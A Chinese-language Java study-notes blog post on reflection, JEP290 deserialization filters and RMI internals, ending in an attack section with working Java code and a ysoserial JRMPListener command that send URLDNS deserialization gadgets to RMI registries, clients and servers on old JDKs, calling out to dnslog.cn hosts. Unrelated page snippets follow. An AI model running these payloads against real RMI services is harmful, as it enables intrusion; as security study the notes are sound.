Java学习笔记②

news/2025/2/14 5:50:22/

java反射

值的修改

public等属性的值的修改很简单。但privatefinal的值修改有改变。

比如修改下类的4个属性。

class privateClass {private String privateField = "private value";private final String finalPrivateField = "final private value";private static String staticPrivateField = "static private value";private static final String finalStaticPrivateField = "final static private value";public String getPrivateField() {return privateField;}public String getFinalPrivateField() {return finalPrivateField;}public static String getStaticPrivateField() {return staticPrivateField;}public static String getFinalStaticPrivateField() {return finalStaticPrivateField;}
}

private

Field privateField = cls.getDeclaredField("privateField");
privateField.setAccessible(true);
privateField.set(obj, "changed private value");
System.out.println(obj.getPrivateField());

修改private属性的值需要setAccessible(true)

final

Field finalPrivateField = cls.getDeclaredField("finalPrivateField");
finalPrivateField.setAccessible(true);Field modifiers = Field.class.getDeclaredField("modifiers");
modifiers.setAccessible(true);
newModifiers = finalPrivateField.getModifiers() & ~Modifier.FINAL;
modifiers.setInt(finalPrivateField, newModifiers);finalPrivateField.set(obj, "changed final private value");
System.out.println(finalPrivateField.get(obj));
System.out.println(obj.getFinalPrivateField());

final的值无法直接修改,可以通过modifiers清除该属性的final关键字,然后再赋值。

上例中的输出如下

finalPrivateField.get(obj) --> changed final private value
obj.getFinalPrivateField() --> final private value

getFinalPrivateField的结果没有改变,这其实是编译器的锅。因为其设置为final,编译器优化getFinalPrivateField的代码为

public String getFinalPrivateField() {return "final private value";
}

所以输出不变。

static

Field staticPrivateField = cls.getDeclaredField("staticPrivateField");
staticPrivateField.setAccessible(true);
staticPrivateField.set(null, "changed static private value");
System.out.println(privateClass.getStaticPrivateField());

static可以直接改,实例改为null

ObjectInputStream

本文参照以下网址学习:

  1. Java 反序列化之 readObject 分析 :https://blog.kaibro.tw/2020/02/23/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BreadObject%E5%88%86%E6%9E%90/

filterCheck

filterCheck是在 JEP290 实现的一种防御机制。用于反序列化时,利用过滤器对反序列化类型进行过滤。

当一个类反序列化时,会进入这里对类利用自定义的过滤器进行检查。

我们这里使用以下代码进行测试:

import sun.misc.ObjectInputFilter;import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.security.PrivilegedAction;
import java.util.HashMap;public class test {public static void main(String[] args) throws Exception {ByteArrayOutputStream baos = new ByteArrayOutputStream();HashMap<String, String> hm = new HashMap<String, String>();hm.put("name", "afkl");ObjectOutputStream oos = new ObjectOutputStream(baos);oos.writeObject(hm);oos.flush();oos.close();ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());ObjectInputStream ois = new ObjectInputStream(bais);// 利用特权模式指定对应ObjectInputStream对象的Filterjava.security.AccessController.doPrivileged((PrivilegedAction<Void>) () -> {ObjectInputFilter.Config.setObjectInputFilter(ois, filter::testFilter);return null;});Object obj = ois.readObject();System.out.println(obj.toString());}static class filter {public static ObjectInputFilter.Status testFilter(ObjectInputFilter.FilterInfo filterInfo) {// 获取传入的Class类型Class<?>  cls = filterInfo.serialClass();// 对传入的Class类型进行检查if (cls == HashMap.class) {System.out.println("wow");return ObjectInputFilter.Status.REJECTED;}return ObjectInputFilter.Status.ALLOWED;}}
}/*
输出:
wow
七月 22, 2021 11:25:29 下午 java.io.ObjectInputStream filterCheck
INFO: ObjectInputFilter REJECTED: class java.util.HashMap, array length: -1, nRefs: 1, depth: 1, bytes: 61, ex: n/a
Exception in thread "main" java.io.InvalidClassException: filter status: REJECTEDat java.io.ObjectInputStream.filterCheck(ObjectInputStream.java:1452)at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:2117)at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1971)at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2281)at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1788)at java.io.ObjectInputStream.readObject(ObjectInputStream.java:586)at java.io.ObjectInputStream.readObject(ObjectInputStream.java:496)at test.main(test.java:30)
*/

ObjectInputFilter.Status 一共有三种类型

enum Status {UNDECIDED, // 不确定,但不会报错打断执行ALLOWED, // 通过REJECTED; // 不通过,会报错打断当前的反序列化
}

在调用特权模式时,调用栈如下:

setInternalObjectInputFilter:1417, ObjectInputStream (java.io)
access$000:222, ObjectInputStream (java.io)
setObjectInputFilter:295, ObjectInputStream$1 (java.io)
setObjectInputFilter:298, ObjectInputFilter$Config (sun.misc)
lambda$main$0:26, test
run:-1, 000000000000000000 (test$$Lambda$4)
doPrivileged:678, AccessController (java.security)
main:25, test

首先进入ObjectInputFilter$ConfigsetObjectInputFilter方法。

public static void setObjectInputFilter(ObjectInputStream inputStream, ObjectInputFilter filter) {Objects.requireNonNull(inputStream, "inputStream");sun.misc.SharedSecrets.getJavaOISAccess().setObjectInputFilter(inputStream, filter);
}

getJavaOISAccess里取出了ObjectInputStream在静态代码块定义的一个匿名对象。

随后进入该匿名对象的setObjectInputFilter方法。再次调用实例的setInternalObjectInputFilter方法

最后为serialFilter赋值。

RMI

rmi架构

Client

public class RMIClient {public static void main(String[] args) {try {Registry reg = LocateRegistry.getRegistry(9999);// 这里reg获取的是RegistryImpl_Stub对象Object obj = reg.lookup("calc");System.out.println(obj.toString());calcImpl calc = (calcImpl) obj;calc.add(1, 1);} catch (Exception e) {e.printStackTrace();}}
}

Clientlookupbindrebind等操作均在RegistryImpl_Stub类内定义。这些操作都是使用opnum来进行识别。如下展示的lookup流程(仅展示部分重要代码)

// 创建一个新的远程通信,重要的是那个2,2是lookup流程的操作数(opnum)
StreamRemoteCall call = (StreamRemoteCall)ref.newCall(this, operations, 2, interfaceHash);try {// 获取输出流,并写入string来获取希望的对象。java.io.ObjectOutput out = call.getOutputStream();out.writeObject($param_String_1);
} catch (java.io.IOException e) {throw new java.rmi.MarshalException("error marshalling arguments", e);
}ref.invoke(call); // 其内部调用 call.executeCall 执行一次远程通信
java.rmi.Remote $result;try {// 获取输入流,并反序列化输入流java.io.ObjectInput in = call.getInputStream();$result = (java.rmi.Remote) in.readObject();
} catch (ClassCastException | IOException | ClassNotFoundException e) {call.discardPendingRefs();throw new java.rmi.UnmarshalException("error unmarshalling return", e);
} finally {ref.done(call); // 释放远程通信
}return $result;

其它的操作大体相同,大致流程都为:

根据操作数获取远程通信->序列化并发送操作需要的参数->获得回复并处理->释放远程通信

上例获取的obj是一个动态代理对象,获取的obj是一个动态代理对象,其处理器为RemoteObjectInvocationHandlercalcobj转换成对应接口的对象。假设calc调用接口中对应的方法,因为其实际为代理类,所以会调用到RemoteObjectInvocationHandlerinvoke方法中。

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {if (! Proxy.isProxyClass(proxy.getClass())) {throw new IllegalArgumentException("not a proxy"); // 是否是代理类}if (Proxy.getInvocationHandler(proxy) != this) {throw new IllegalArgumentException("handler mismatch"); // 是否实现InvocationHandler接口}if (method.getDeclaringClass() == Object.class) { // 调用的方法的声明在Object里的话return invokeObjectMethod(proxy, method, args); // 直接去调用Object类里的方法} else if ("finalize".equals(method.getName()) && method.getParameterCount() == 0 && !allowFinalizeInvocation) {return null; // ignore} else {return invokeRemoteMethod(proxy, method, args); // 其它情况调用远程对象}
}

跟进至invokeRemoteMethod,其主要代码如下图:

开始会检测对应的代理对象是否是Remote的实例,其中Remote是一个空的接口。如果proxy不是Remote的实例,即没有实现Remote接口的话,便会抛出报错。代理对象是Remote的实例有两种情况(可能更多)。

// 1. 接口直接继承Remote接口
interface testImpl extends Remote {public int add(int a, int b);
}// 2. 接口的实现类同时继承Remote接口
class testImplHandler1 implements testImpl, Remote {@Overridepublic int add(int a, int b) {return a + b;}
}

第二个是查看对应方法的声明类是否是Remote的超类。不是的话直接抛错。

最后调用ref.invoke,其中refUnicastRef类的实例。其对应的重要代码如下:

{...}Connection conn = ref.getChannel().newConnection(); // 获取TCP链接
RemoteCall call = null;
boolean reuse = true;{...}call = new StreamRemoteCall(conn, ref.getObjID(), -1, opnum); // 获取以流为基础的远程通信{...}ObjectOutput out = call.getOutputStream(); // 获取输出流
marshalCustomCallData(out); // 空方法// 获取调用方法的参数的类型
Class<?>[] types = method.getParameterTypes();
for (int i = 0; i < types.length; i++) {marshalValue(types[i], params[i], out); // 序列化对应值
}{...}call.executeCall(); // 执行远程调用{...}Class<?> rtype = method.getReturnType(); // 获取方法的返回值if (rtype == void.class) // void返回nullreturn null;ObjectInput in = call.getInputStream(); // 获取输入流Object returnValue = unmarshalValue(rtype, in); // 反序列化远程调用返回的序列化值{...}ref.getChannel().free(conn, true); // 释放TCP链接{...}return returnValue;

Server & Registery

import calc.calcRemote; // 一个普通的类实现import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class RMIServer {public static void main(String[] args) {try {Registry reg = LocateRegistry.createRegistry(9999);// 这里reg获取到的是RegistryImpl对象reg.bind("calc", new calcRemote());} catch (Exception e) {e.printStackTrace();}}
}

当收到Client的请求时,Server会调用RegistryImpl_Skeldispatch方法。通过魔数来switch选择调用方法。

public void dispatch(java.rmi.Remote obj, java.rmi.server.RemoteCall remoteCall, int opnum, long hash)throws java.lang.Exception {if (opnum < 0) {...} else {...}sun.rmi.registry.RegistryImpl server = (sun.rmi.registry.RegistryImpl) obj;StreamRemoteCall call = (StreamRemoteCall) remoteCall;switch (opnum) {case 0: // bind(String, Remote){...}case 1: // list(){...}case 2: // lookup(String){...}case 3: // rebind(String, Remote){...}case 4: // unbind(String){..}default:throw new java.rmi.UnmarshalException("invalid method number");}}

对于lookup请求,服务器最后会调用至UnicastServerRefdispatch方法。

较为重要的代码片段如下。

MarshalInputStream marshalStream = (MarshalInputStream) in; // 获取输入流
marshalStream.skipDefaultResolveClass();Method method = hashToMethod_Map.get(op); // 通过hash在hashmap中获取方法
if (method == null) { // 没有对应方法就报错throw new UnmarshalException("unrecognized method hash: " +"method not supported by remote object");
}// unmarshal parameters
Object[] params = null;
try {unmarshalCustomCallData(in);// 反序列化参数,调用 UnicastRef::unmarshalValue 方法params = unmarshalParameters(obj, method, marshalStream);
} catch (Exception e) {// ...
} finally {call.releaseInputStream(); // 释放连接
}// make upcall on remote object
Object result;
try {result = method.invoke(obj, params); // 调用对应的方法
} catch (InvocationTargetException e) {throw e.getTargetException();
}// marshal return value
try {ObjectOutput out = call.getResultStream(true);Class<?> rtype = method.getReturnType();if (rtype != void.class) {marshalValue(rtype, result, out); // 序列化调用结果}
} catch (IOException ex) {// ...
} finally {call.releaseInputStream(); // in case skeleton doesn'tcall.releaseOutputStream();
}

marshalValueunmarshalValue会分别进行序列化和反序列化。这两个方法在客户端和服务端都会出现。

攻击方法

jdk-8u121以下版本

Server 攻击 注册中心

注册中心代码如下

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class RMIServer {public static void main(String[] args) {try {Registry reg = LocateRegistry.createRegistry(9999);} catch (Exception e) {e.printStackTrace();}}
}

Server

import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;public class RMIClient {public static void main(String[] args) {try {Registry reg = LocateRegistry.getRegistry(9999);Remote obj = getEvilCalc();// rebind或者bind 触发反序列化reg.rebind("calc", obj);System.out.println("ok");} catch (Exception e) {e.printStackTrace();}}private static Remote getEvilCalc() throws Exception {// ----URLDNS gadget----String url = "http://9ragt0.dnslog.cn";URLStreamHandler ush = new SilentURLStreamHandler();HashMap ht = new HashMap();URL u = new URL(null, url, ush);ht.put(u, url);Class<?> cls = u.getClass();Field hc = cls.getDeclaredField("hashCode");hc.setAccessible(true);hc.setInt(u, -1);// ----URLDNS gadget----// 利用jdk原生代理使payload对象动态实现Remote接口InvocationHandlerImpl handler = new InvocationHandlerImpl(ht);Remote exp = (Remote)Proxy.newProxyInstance(handler.getClass().getClassLoader(),new Class[]{Remote.class},handler);return exp;}static class SilentURLStreamHandler extends URLStreamHandler {protected URLConnection openConnection(URL u) throws IOException {return null;}protected synchronized InetAddress getHostAddress(URL u) {return null;}}static class InvocationHandlerImpl implements InvocationHandler, Serializable {protected Map map;public InvocationHandlerImpl(Map map) {this.map = map;}public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {return null;}}
}
客户端 攻击 注册中心

在低版本中,注册中心的lookup方法使用了readObject。所以client可以通过lookup攻击注册中心。

因为通过LocateRegistry.getRegistry方法得到的RegistryImpl_Stub对象的lookup方法只支持传入字符串。所以这里重新实现lookup方法传入恶意对象。

攻击代码如下

public class RMIClient {public static void main(String[] args) {try {Registry reg = LocateRegistry.getRegistry(9999);CAttackR.CustomCallRegistry(reg, getEvilObject("http://d2iutj.dnslog.cn"));} catch (Exception e) {e.printStackTrace();}}public static Remote getEvilObject(String url) throws Exception {// URLDNS payload}
}
public class CAttackR {public static void CustomCallRegistry(Registry reg_stub, Object evilObj) throws Exception {//===获取一些常量方便下面的调用===Field FieldRef = reg_stub.getClass().getSuperclass().getSuperclass().getDeclaredField("ref");FieldRef.setAccessible(true);UnicastRef ref = (UnicastRef)FieldRef.get(reg_stub);Field FieldOperations = reg_stub.getClass().getDeclaredField("operations");FieldOperations.setAccessible(true);Operation[] operations = (Operation[])FieldOperations.get(reg_stub);//===获取一些常量方便下面的调用===// 模拟lookup过程StreamRemoteCall call = (StreamRemoteCall)ref.newCall((RemoteObject) reg_stub, operations, 2, 4905912898345647071L);java.io.ObjectOutput out = call.getOutputStream();out.writeObject(evilObj);ref.invoke(call);}
}

在高版本中,lookupreadObject替换为readString。上面的方法就用不了了。

客户端 与 服务器 的相互攻击

因为marshalValueunmarshalValue两个方法的都会在clientServer中调用。所以两者之间是可以相互攻击的。

当然,这种攻击对两者之间共同使用的接口有很大关系。

  • 对于C攻击S,需要远程接口的一个方法含有Object类型的参数。
  • 对于S攻击C,需要远程接口的返回值为Object类型。
注册中心 攻击 服务器 和 客户端

使用yso启动一个JRMP的恶意服务器。只要C或者S获取此服务器的注册中心,并执行rmi的动作(list / unbind / lookup / rebind / bind)就会被反序列化攻击。

java.exe -cp yso.jar ysoserial.exploit.JRMPListener 7777 URLDNS "http://jb7uvs.dnslog.cn"
* Opening JRMP listener on 7777
Have connection from /169.254.17.51:3916
Reading message...
Sending return with payload for obj [0:0:0, 0]
Closing connection
public class RMIClient {public static void main(String[] args) {try {Registry reg = LocateRegistry.getRegistry(7777);calcInterface obj = (calcInterface) reg.lookup("calc");obj.add(1, 2);} catch (Exception e) {e.printStackTrace();}}
}

http://www.ppmy.cn/news/1124618.html

相关文章

题目 1059: 二级C语言-等差数列

题目描述 sum2581114…&#xff0c;输入正整数n&#xff0c;求sum的前n项和。样例输入 2样例输出 7 根据题目我们得知&#xff0c;求一个等差数列的和。 等差数列的下一项前一项d。d是等差。 根据这个直接求每一项&#xff0c;再加进sum的和&#xff0c;最后输出即可。 在本题中…

滨州专利申请需要的材料

国知局受理后缴纳费用 国知局一般在接到专利申请文件后的15个工作日内&#xff0c;下发受理通知书和缴费通知书。可通过网上银行、邮政汇款缴费或者面交。如果在提交申请后两个月内没有缴纳申请费的&#xff0c;该申请将视为撤回&#xff1b;缴费成功后&#xff0c;该专利申请进…

SMT贴片加物料损耗原因及解决方案

1、安装元件物料时撕料带过长&#xff0c;压料过多造成不必要的物料遗失损耗 解决方式&#xff1a;培训操作人员作业时&#xff0c;装料时保留两三个空位&#xff0c;压料至料窗可见物料即可&#xff0c;这样就可以检查FEEDER齿轮位置和卷带张力。 2、FEEDER安装后TABLE上有杂…

[XR-FRAME] 1.O2 文档导览 || XR-FRAME / 添加一个物体

本文 根据 官方文档 章节 进行学习导览&#xff0c;知识点整理。 ”XR-FRAME /开始 - 添加一个物体“ 开始 | 微信开放文档 新涉及到的 知识点&#xff1a; 标签&#xff1a; <xr-scene> <xr-camera> <xr-mesh> <xr-asset-material> <xr…

8月最新修正版风车IM即时聊天通讯源码+搭建教程

8月最新修正版风车IM即时聊天通讯源码搭建教程。风车 IM没啥好说的很多人在找,IM的天花板了,知道的在找的都知道它的价值,开版好像就要29999,后端加密已解,可自己再加密,可反编译出后端项目源码,已增加启动后端需要google auth双重验证,pc端 web端 wap端 android端 ios端 都有 …

并发任务队列(字节青训测试题)

需求描述 封装一个并发任务队列类&#xff0c;用于对一些异步任务按指定的并发数量进行并发执行。 /*** 延迟函数* param {number} time - 延迟时间* return {Promise} delayFn - 延迟函数(异步封装)*/ function timeout(time) {return new Promise((resolve) > {setTimeo…

crypto:看我回旋踢

题目 下载压缩包后解压可得到提示文本 经过观察&#xff0c;synt{}这个提示与flag{}形式很像 由题目名中的回旋可以推测为凯撒密码&#xff0c;由凯撒密码的定义可知&#xff0c;需要先推出移位数&#xff0c;s->f数13次&#xff0c;因此移位数为13&#xff0c;解码可得

聊聊设计模式——解释器模式

目录 解释器模式定义 优点 缺点 解释器模式结构说明 工作流程 代码示例 应用场景 本质 涉及的设计原则 相关设计模式 开源框架中的应用 解释器模式定义 给定一个语言&#xff0c;定义它的文法的一种表示&#xff0c;并定义一个解释器&#xff0c;这个解释器使用该表…